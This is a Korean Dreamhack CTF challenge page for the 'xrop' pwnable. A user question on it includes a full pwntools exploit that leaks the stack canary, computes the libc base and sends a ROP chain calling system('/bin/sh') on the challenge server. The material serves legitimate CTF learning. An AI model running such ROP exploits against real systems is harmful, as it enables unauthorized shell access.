LEVEL 3

xrop

pwnable
  • 문제 정보
  • 풀이 20
  • 난이도 투표 46
  • 질문 2
  • 최근 풀이자 123
  • 댓글 2
해당 문제는 Dreamhack CTF Season 7 Round #2 (🌱Div2) 에 출제된 문제입니다.

문제 설명

Description

General ROP, but input is xored?

난이도 투표 46

질문 2

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
도커에선 되는데 왜 서버에서 안될까요!
문제 파일에서 제공된 Docker환경에서 익스플로잇은 잘 됩니다 일단 카나리 릭은 잘 되는 것 같은데 라이브러리가 도커랑 다른걸까요.. 아래는 도커에서 이것저것 확인해본 것들입니다. 맨 밑에 코드 첨부되어있어요 image.png image.png image.png from pwn import * def enc(data): data = bytearray(data) # 변경 가능한 형태로 변환 for i in range(1, len(data)): data[i - 1] ^= data[i] return bytes(data) def dec(data): data = bytearray(data) # 변경 가능한 형태로 변환 for i in range(len(data) - 1, 0, -1): # 역순으로 연산 data[i - 1] ^= data[i] return bytes(data) p = remote('localhost',8080) p = remote('host3.dreamhack.games', 16230) cnry 획득 payload = b'' for i in range(1,0x1a,1): payload += chr(i).encode() p.sendafter("Input: ",payload) p.recvuntil(': ') p.recvn(0x19) cnry = b'\x00'+p.recvn(7) ret_addr 로 libc_base 획득 payload = b'' for i in range(1,0x29,1): payload += chr(i).encode() p.sendafter('Input: ', payload) p.recvuntil(': ') p.recvn(0x28) ret_addr = u64(p.recvn(0x6)+b'\x00\x00') ret_addr = __libc_start_call_main+128 __libc_start_main은 call_main+0xb0 lib의 start_main은 0x29dc0 lib 베이스 주소는 ret_addr-128+0xb0-0x29dc0 libc_base = ret_addr-128+0xb0-0x29dc0 system = 0x50d70 + libc_base binsh = 0x1d8678 + libc_base pop_rdi = 0x2a3e5 + libc_base ret = 0x29139 + libc_base payload = dec(b'exit\x00'.ljust(0x18,b'\x00') + cnry + b'12345678' + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)) p.sendafter(": ",payload) p.recvuntil(': ') p.interactive() `
돈이되고싶은굳
LEVEL 3

xrop

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

미래 해커
대표 업적 없음
출제된 지 43분 만에 풀이 완료!

최근 풀이자 123

hyeon_
대표 업적 없음
avatar
DA2RIM
리버싱 졸업
cccclllllhhhhnn
강의 수강: 1
avatar
st4rlight
레이서
avatar
leesu0605
대표 업적 없음
avatar
wiimdy
세계수
avatar
obiwan
조커
hyxn
시스템 해킹 졸업
외눈물고기
대표 업적 없음
shhhh
대표 업적 없음

댓글 2

avatar
Rootsquare
바탈리온
XOR 연산 결과가 공격이 가능한 형태가 되게 만들기
avatar
M200is
강의 수강: 50
포너블 잘해놓고 연산을 못했던...